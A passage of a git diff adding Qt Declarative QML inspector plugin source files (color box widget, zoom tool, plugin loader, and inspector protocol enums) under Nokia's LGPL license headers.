+ QDeclarativeViewInspector *m_inspector;
+ QGraphicsItem *m_currentItem;
+ QGraphicsRectItem *m_borderRect;
+ QRectF m_itemPolyRect;
+};
+
+} // namespace QmlJSDebugger
+
+#endif // SUBCOMPONENTMASKLAYERITEM_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/toolbarcolorbox.cpp b/src/plugins/qmltooling/qmldbg_inspector/editor/toolbarcolorbox.cpp
new file mode 100644
index 00000000..6c56acd0
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/toolbarcolorbox.cpp
@@ -0,0 +1,134 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "toolbarcolorbox.h"
+
+#include "../qmlinspectorconstants.h"
+
+#include <QtGui/QPixmap>
+#include <QtGui/QPainter>
+#include <QtGui/QMenu>
+#include <QtGui/QAction>
+#include <QtGui/QContextMenuEvent>
+#include <QtGui/QClipboard>
+#include <QtGui/QApplication>
+#include <QtGui/QColorDialog>
+#include <QtGui/QDrag>
+
+#include <QtCore/QMimeData>
+#include <QtCore/QDebug>
+
+namespace QmlJSDebugger {
+
+ToolBarColorBox::ToolBarColorBox(QWidget *parent) :
+ QLabel(parent)
+{
+ m_copyHexColor = new QAction(QIcon(QLatin1String(":/qml/images/color-picker-hicontrast.png")),
+ tr("Copy Color"), this);
+ connect(m_copyHexColor, SIGNAL(triggered()), SLOT(copyColorToClipboard()));
+ setScaledContents(false);
+}
+
+void ToolBarColorBox::setColor(const QColor &color)
+{
+ m_color = color;
+
+ QPixmap pix = createDragPixmap(width());
+ setPixmap(pix);
+ update();
+}
+
+void ToolBarColorBox::mousePressEvent(QMouseEvent *event)
+{
+ m_dragBeginPoint = event->pos();
+ m_dragStarted = false;
+}
+
+void ToolBarColorBox::mouseMoveEvent(QMouseEvent *event)
+{
+
+ if (event->buttons() & Qt::LeftButton
+ && (QPoint(event->pos() - m_dragBeginPoint).manhattanLength()
+ > Constants::DragStartDistance)
+ && !m_dragStarted)
+ {
+ m_dragStarted = true;
+ QDrag *drag = new QDrag(this);
+ QMimeData *mimeData = new QMimeData;
+
+ mimeData->setText(m_color.name());
+ drag->setMimeData(mimeData);
+ drag->setPixmap(createDragPixmap());
+
+ drag->exec();
+ }
+}
+
+QPixmap ToolBarColorBox::createDragPixmap(int size) const
+{
+ QPixmap pix(size, size);
+ QPainter p(&pix);
+
+ QColor borderColor1 = QColor(143, 143 ,143);
+ QColor borderColor2 = QColor(43, 43, 43);
+
+ p.setBrush(QBrush(m_color));
+ p.setPen(QPen(QBrush(borderColor2),1));
+
+ p.fillRect(0, 0, size, size, borderColor1);
+ p.drawRect(1,1, size - 3, size - 3);
+ return pix;
+}
+
+void ToolBarColorBox::contextMenuEvent(QContextMenuEvent *ev)
+{
+ QMenu contextMenu;
+ contextMenu.addAction(m_copyHexColor);
+ contextMenu.exec(ev->globalPos());
+}
+
+void ToolBarColorBox::copyColorToClipboard()
+{
+ QClipboard *clipboard = QApplication::clipboard();
+ clipboard->setText(m_color.name());
+}
+
+} // namespace QmlJSDebugger
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/toolbarcolorbox.h b/src/plugins/qmltooling/qmldbg_inspector/editor/toolbarcolorbox.h
new file mode 100644
index 00000000..bc39fb4a
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/toolbarcolorbox.h
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef TOOLBARCOLORBOX_H
+#define TOOLBARCOLORBOX_H
+
+#include <QtGui/QLabel>
+#include <QtGui/QColor>
+#include <QtCore/QPoint>
+
+QT_FORWARD_DECLARE_CLASS(QContextMenuEvent)
+QT_FORWARD_DECLARE_CLASS(QAction)
+
+namespace QmlJSDebugger {
+
+class ToolBarColorBox : public QLabel
+{
+ Q_OBJECT
+
+public:
+ explicit ToolBarColorBox(QWidget *parent = 0);
+ void setColor(const QColor &color);
+
+protected:
+ void contextMenuEvent(QContextMenuEvent *ev);
+ void mousePressEvent(QMouseEvent *ev);
+ void mouseMoveEvent(QMouseEvent *ev);
+private slots:
+ void copyColorToClipboard();
+
+private:
+ QPixmap createDragPixmap(int size = 24) const;
+
+private:
+ bool m_dragStarted;
+ QPoint m_dragBeginPoint;
+ QAction *m_copyHexColor;
+ QColor m_color;
+};
+
+} // namespace QmlJSDebugger
+
+#endif // TOOLBARCOLORBOX_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/zoomtool.cpp b/src/plugins/qmltooling/qmldbg_inspector/editor/zoomtool.cpp
new file mode 100644
index 00000000..3e41b3be
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/zoomtool.cpp
@@ -0,0 +1,330 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "zoomtool.h"
+
+#include "../qdeclarativeviewinspector_p.h"
+
+#include <QtGui/QMouseEvent>
+#include <QtGui/QWheelEvent>
+#include <QtGui/QKeyEvent>
+#include <QtGui/QMenu>
+#include <QtGui/QAction>
+
+#include <QtCore/QRectF>
+#include <QtCore/QDebug>
+
+namespace QmlJSDebugger {
+
+ZoomTool::ZoomTool(QDeclarativeViewInspector *view) :
+ AbstractLiveEditTool(view),
+ m_rubberbandManipulator(),
+ m_smoothZoomMultiplier(0.05f),
+ m_currentScale(1.0f)
+{
+ m_zoomTo100Action = new QAction(tr("Zoom to &100%"), this);
+ m_zoomInAction = new QAction(tr("Zoom In"), this);
+ m_zoomOutAction = new QAction(tr("Zoom Out"), this);
+ m_zoomInAction->setShortcut(QKeySequence(Qt::Key_Plus));
+ m_zoomOutAction->setShortcut(QKeySequence(Qt::Key_Minus));
+
+
+ LiveLayerItem *layerItem = QDeclarativeViewInspectorPrivate::get(view)->manipulatorLayer;
+ QGraphicsObject *layerObject = reinterpret_cast<QGraphicsObject *>(layerItem);
+ m_rubberbandManipulator = new LiveRubberBandSelectionManipulator(layerObject, view);
+
+
+ connect(m_zoomTo100Action, SIGNAL(triggered()), SLOT(zoomTo100()));
+ connect(m_zoomInAction, SIGNAL(triggered()), SLOT(zoomIn()));
+ connect(m_zoomOutAction, SIGNAL(triggered()), SLOT(zoomOut()));
+}
+
+ZoomTool::~ZoomTool()
+{
+ delete m_rubberbandManipulator;
+}
+
+void ZoomTool::mousePressEvent(QMouseEvent *event)
+{
+ m_mousePos = event->pos();
+
+ QPointF scenePos = view()->mapToScene(event->pos());
+
+ if (event->buttons() & Qt::RightButton) {
+ QMenu contextMenu;
+ contextMenu.addAction(m_zoomTo100Action);
+ contextMenu.addSeparator();
+ contextMenu.addAction(m_zoomInAction);
+ contextMenu.addAction(m_zoomOutAction);
+ contextMenu.exec(event->globalPos());
+ } else if (event->buttons() & Qt::LeftButton) {
+ m_dragBeginPos = scenePos;
+ m_dragStarted = false;
+ }
+}
+
+void ZoomTool::mouseMoveEvent(QMouseEvent *event)
+{
+ m_mousePos = event->pos();
+
+ QPointF scenePos = view()->mapToScene(event->pos());
+
+ if (event->buttons() & Qt::LeftButton
+ && (QPointF(scenePos - m_dragBeginPos).manhattanLength()
+ > Constants::DragStartDistance / 3)
+ && !m_dragStarted)
+ {
+ m_dragStarted = true;
+ m_rubberbandManipulator->begin(m_dragBeginPos);
+ return;
+ }
+
+ if (m_dragStarted)
+ m_rubberbandManipulator->update(scenePos);
+
+}
+
+void ZoomTool::mouseReleaseEvent(QMouseEvent *event)
+{
+ m_mousePos = event->pos();
+ QPointF scenePos = view()->mapToScene(event->pos());
+
+ if (m_dragStarted) {
+ m_rubberbandManipulator->end();
+
+ int x1 = qMin(scenePos.x(), m_rubberbandManipulator->beginPoint().x());
+ int x2 = qMax(scenePos.x(), m_rubberbandManipulator->beginPoint().x());
+ int y1 = qMin(scenePos.y(), m_rubberbandManipulator->beginPoint().y());
+ int y2 = qMax(scenePos.y(), m_rubberbandManipulator->beginPoint().y());
+
+ QPointF scenePosTopLeft = QPoint(x1, y1);
+ QPointF scenePosBottomRight = QPoint(x2, y2);
+
+ QRectF sceneArea(scenePosTopLeft, scenePosBottomRight);
+
+ m_currentScale = qMin(view()->rect().width() / sceneArea.width(),
+ view()->rect().height() / sceneArea.height());
+
+
+ QTransform transform;
+ transform.scale(m_currentScale, m_currentScale);
+
+ view()->setTransform(transform);
+ view()->setSceneRect(sceneArea);
+ } else {
+ Qt::KeyboardModifier modifierKey = Qt::ControlModifier;
+#ifdef Q_WS_MAC
+ modifierKey = Qt::AltModifier;
+#endif
+ if (event->modifiers() & modifierKey) {
+ zoomOut();
+ } else {
+ zoomIn();
+ }
+ }
+}
+
+void ZoomTool::zoomIn()
+{
+ m_currentScale = nextZoomScale(ZoomIn);
+ scaleView(view()->mapToScene(m_mousePos));
+}
+
+void ZoomTool::zoomOut()
+{
+ m_currentScale = nextZoomScale(ZoomOut);
+ scaleView(view()->mapToScene(m_mousePos));
+}
+
+void ZoomTool::mouseDoubleClickEvent(QMouseEvent *event)
+{
+ m_mousePos = event->pos();
+}
+
+
+void ZoomTool::hoverMoveEvent(QMouseEvent *event)
+{
+ m_mousePos = event->pos();
+}
+
+
+void ZoomTool::keyPressEvent(QKeyEvent * /*event*/)
+{
+}
+
+void ZoomTool::wheelEvent(QWheelEvent *event)
+{
+ if (event->orientation() != Qt::Vertical)
+ return;
+
+ Qt::KeyboardModifier smoothZoomModifier = Qt::ControlModifier;
+ if (event->modifiers() & smoothZoomModifier) {
+ int numDegrees = event->delta() / 8;
+ m_currentScale += m_smoothZoomMultiplier * (numDegrees / 15.0f);
+
+ scaleView(view()->mapToScene(m_mousePos));
+
+ } else if (!event->modifiers()) {
+ if (event->delta() > 0) {
+ m_currentScale = nextZoomScale(ZoomIn);
+ } else if (event->delta() < 0) {
+ m_currentScale = nextZoomScale(ZoomOut);
+ }
+ scaleView(view()->mapToScene(m_mousePos));
+ }
+}
+
+void ZoomTool::keyReleaseEvent(QKeyEvent *event)
+{
+ switch (event->key()) {
+ case Qt::Key_Plus:
+ zoomIn();
+ break;
+ case Qt::Key_Minus:
+ zoomOut();
+ break;
+ case Qt::Key_1:
+ case Qt::Key_2:
+ case Qt::Key_3:
+ case Qt::Key_4:
+ case Qt::Key_5:
+ case Qt::Key_6:
+ case Qt::Key_7:
+ case Qt::Key_8:
+ case Qt::Key_9:
+ {
+ m_currentScale = ((event->key() - Qt::Key_0) * 1.0f);
+ scaleView(view()->mapToScene(m_mousePos)); // view()->mapToScene(view()->rect().center())
+ break;
+ }
+
+ default:
+ break;
+ }
+
+}
+
+void ZoomTool::clear()
+{
+#ifndef QT_NO_CURSOR
+ view()->setCursor(Qt::ArrowCursor);
+#endif
+}
+
+void ZoomTool::scaleView(const QPointF &centerPos)
+{
+
+ QTransform transform;
+ transform.scale(m_currentScale, m_currentScale);
+ view()->setTransform(transform);
+
+ QPointF adjustedCenterPos = centerPos;
+ QSize rectSize(view()->rect().width() / m_currentScale,
+ view()->rect().height() / m_currentScale);
+
+ QRectF sceneRect;
+ if (qAbs(m_currentScale - 1.0f) < Constants::ZoomSnapDelta) {
+ adjustedCenterPos.rx() = rectSize.width() / 2;
+ adjustedCenterPos.ry() = rectSize.height() / 2;
+ }
+
+ if (m_currentScale < 1.0f) {
+ adjustedCenterPos.rx() = rectSize.width() / 2;
+ adjustedCenterPos.ry() = rectSize.height() / 2;
+ sceneRect.setRect(view()->rect().width() / 2 -rectSize.width() / 2,
+ view()->rect().height() / 2 -rectSize.height() / 2,
+ rectSize.width(),
+ rectSize.height());
+ } else {
+ sceneRect.setRect(adjustedCenterPos.x() - rectSize.width() / 2,
+ adjustedCenterPos.y() - rectSize.height() / 2,
+ rectSize.width(),
+ rectSize.height());
+ }
+
+ view()->setSceneRect(sceneRect);
+}
+
+void ZoomTool::zoomTo100()
+{
+ m_currentScale = 1.0f;
+ scaleView(view()->mapToScene(view()->rect().center()));
+}
+
+qreal ZoomTool::nextZoomScale(ZoomDirection direction) const
+{
+ static QList<qreal> zoomScales =
+ QList<qreal>()
+ << 0.125f
+ << 1.0f / 6.0f
+ << 0.25f
+ << 1.0f / 3.0f
+ << 0.5f
+ << 2.0f / 3.0f
+ << 1.0f
+ << 2.0f
+ << 3.0f
+ << 4.0f
+ << 5.0f
+ << 6.0f
+ << 7.0f
+ << 8.0f
+ << 12.0f
+ << 16.0f
+ << 32.0f
+ << 48.0f;
+
+ if (direction == ZoomIn) {
+ for (int i = 0; i < zoomScales.length(); ++i) {
+ if (zoomScales[i] > m_currentScale || i == zoomScales.length() - 1)
+ return zoomScales[i];
+ }
+ } else {
+ for (int i = zoomScales.length() - 1; i >= 0; --i) {
+ if (zoomScales[i] < m_currentScale || i == 0)
+ return zoomScales[i];
+ }
+ }
+
+ return 1.0f;
+}
+
+} // namespace QmlJSDebugger
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/zoomtool.h b/src/plugins/qmltooling/qmldbg_inspector/editor/zoomtool.h
new file mode 100644
index 00000000..d5c40553
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/zoomtool.h
@@ -0,0 +1,107 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef ZOOMTOOL_H
+#define ZOOMTOOL_H
+
+#include "abstractliveedittool.h"
+#include "liverubberbandselectionmanipulator.h"
+
+QT_FORWARD_DECLARE_CLASS(QAction)
+
+namespace QmlJSDebugger {
+
+class ZoomTool : public AbstractLiveEditTool
+{
+ Q_OBJECT
+
+public:
+ enum ZoomDirection {
+ ZoomIn,
+ ZoomOut
+ };
+
+ explicit ZoomTool(QDeclarativeViewInspector *view);
+
+ virtual ~ZoomTool();
+
+ void mousePressEvent(QMouseEvent *event);
+ void mouseMoveEvent(QMouseEvent *event);
+ void mouseReleaseEvent(QMouseEvent *event);
+ void mouseDoubleClickEvent(QMouseEvent *event);
+
+ void hoverMoveEvent(QMouseEvent *event);
+ void wheelEvent(QWheelEvent *event);
+
+ void keyPressEvent(QKeyEvent *event);
+ void keyReleaseEvent(QKeyEvent *keyEvent);
+ void itemsAboutToRemoved(const QList<QGraphicsItem*> &) {}
+
+ void clear();
+
+protected:
+ void selectedItemsChanged(const QList<QGraphicsItem*> &) {}
+
+private slots:
+ void zoomTo100();
+ void zoomIn();
+ void zoomOut();
+
+private:
+ qreal nextZoomScale(ZoomDirection direction) const;
+ void scaleView(const QPointF &centerPos);
+
+private:
+ bool m_dragStarted;
+ QPoint m_mousePos; // in view coords
+ QPointF m_dragBeginPos;
+ QAction *m_zoomTo100Action;
+ QAction *m_zoomInAction;
+ QAction *m_zoomOutAction;
+ LiveRubberBandSelectionManipulator *m_rubberbandManipulator;
+
+ qreal m_smoothZoomMultiplier;
+ qreal m_currentScale;
+};
+
+} // namespace QmlJSDebugger
+
+#endif // ZOOMTOOL_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeinspectorplugin.cpp b/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeinspectorplugin.cpp
new file mode 100644
index 00000000..1b74caf7
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeinspectorplugin.cpp
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeinspectorplugin.h"
+
+#include "qdeclarativeviewinspector_p.h"
+
+#include <QtCore/qplugin.h>
+#include <QtDeclarative/private/qdeclarativeinspectorservice_p.h>
+
+namespace QmlJSDebugger {
+
+QDeclarativeInspectorPlugin::QDeclarativeInspectorPlugin() :
+ m_inspector(0)
+{
+}
+
+QDeclarativeInspectorPlugin::~QDeclarativeInspectorPlugin()
+{
+ delete m_inspector;
+}
+
+void QDeclarativeInspectorPlugin::activate()
+{
+ QDeclarativeInspectorService *service = QDeclarativeInspectorService::instance();
+ QList<QDeclarativeView*> views = service->views();
+ if (views.isEmpty())
+ return;
+
+ // TODO: Support multiple views
+ QDeclarativeView *view = service->views().at(0);
+ m_inspector = new QDeclarativeViewInspector(view, view);
+}
+
+void QDeclarativeInspectorPlugin::deactivate()
+{
+ delete m_inspector;
+}
+
+} // namespace QmlJSDebugger
+
+Q_EXPORT_PLUGIN2(declarativeinspector, QmlJSDebugger::QDeclarativeInspectorPlugin)
diff --git a/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeinspectorplugin.h b/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeinspectorplugin.h
new file mode 100644
index 00000000..a910edcb
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeinspectorplugin.h
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEINSPECTORPLUGIN_H
+#define QDECLARATIVEINSPECTORPLUGIN_H
+
+#include <QtCore/QPointer>
+#include <QtDeclarative/private/qdeclarativeinspectorinterface_p.h>
+
+namespace QmlJSDebugger {
+
+class AbstractViewInspector;
+
+class QDeclarativeInspectorPlugin : public QObject, public QDeclarativeInspectorInterface
+{
+ Q_OBJECT
+ Q_DISABLE_COPY(QDeclarativeInspectorPlugin)
+ Q_INTERFACES(QDeclarativeInspectorInterface)
+
+public:
+ QDeclarativeInspectorPlugin();
+ ~QDeclarativeInspectorPlugin();
+
+ void activate();
+ void deactivate();
+
+private:
+ QPointer<AbstractViewInspector> m_inspector;
+};
+
+} // namespace QmlJSDebugger
+
+#endif // QDECLARATIVEINSPECTORPLUGIN_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeinspectorprotocol.h b/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeinspectorprotocol.h
new file mode 100644
index 00000000..8de5a193
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeinspectorprotocol.h
@@ -0,0 +1,137 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEINSPECTORPROTOCOL_H
+#define QDECLARATIVEINSPECTORPROTOCOL_H
+
+#include <QtCore/QDebug>
+#include <QtCore/QMetaType>
+#include <QtCore/QMetaEnum>
+#include <QtCore/QObject>
+
+namespace QmlJSDebugger {
+
+class InspectorProtocol : public QObject
+{
+ Q_OBJECT
+ Q_ENUMS(Message Tool)
+
+public:
+ enum Message {
+ AnimationSpeedChanged = 0,
+ AnimationPausedChanged = 19, // highest value
+ ChangeTool = 1,
+ ClearComponentCache = 2,
+ ColorChanged = 3,
+ CreateObject = 5,
+ CurrentObjectsChanged = 6,
+ DestroyObject = 7,
+ MoveObject = 8,
+ ObjectIdList = 9,
+ Reload = 10,
+ Reloaded = 11,
+ SetAnimationSpeed = 12,
+ SetAnimationPaused = 18,
+ SetCurrentObjects = 14,
+ SetDesignMode = 15,
+ ShowAppOnTop = 16,
+ ToolChanged = 17
+ };
+
+ enum Tool {
+ ColorPickerTool,
+ SelectMarqueeTool,
+ SelectTool,
+ ZoomTool
+ };
+
+ static inline QString toString(Message message)
+ {
+ return QLatin1String(staticMetaObject.enumerator(0).valueToKey(message));
+ }
+
+ static inline QString toString(Tool tool)
+ {
+ return QLatin1String(staticMetaObject.enumerator(1).valueToKey(tool));
+ }
+};
+
+inline QDataStream & operator<< (QDataStream &stream, InspectorProtocol::Message message)
+{
+ return stream << static_cast<quint32>(message);
+}
+
+inline QDataStream & operator>> (QDataStream &stream, InspectorProtocol::Message &message)
+{
+ quint32 i;
+ stream >> i;
+ message = static_cast<InspectorProtocol::Message>(i);
+ return stream;
+}
+
+inline QDebug operator<< (QDebug dbg, InspectorProtocol::Message message)
+{
+ dbg << InspectorProtocol::toString(message);
+ return dbg;
+}
+
+inline QDataStream & operator<< (QDataStream &stream, InspectorProtocol::Tool tool)
+{
+ return stream << static_cast<quint32>(tool);
+}
+
+inline QDataStream & operator>> (QDataStream &stream, InspectorProtocol::Tool &tool)
+{
+ quint32 i;
+ stream >> i;
+ tool = static_cast<InspectorProtocol::Tool>(i);
+ return stream;
+}
+
+inline QDebug operator<< (QDebug dbg, InspectorProtocol::Tool tool)
+{
+ dbg << InspectorProtocol::toString(tool);
+ return dbg;
+}
+
+} // namespace QmlJSDebugger
+
+#endif // QDECLARATIVEINSPECTORPROTOCOL_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeviewinspector.cpp b/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeviewinspector.cpp
new file mode 100644
index 00000000..d8696c5f
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeviewinspector.cpp
@@ -0,0 +1,436 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
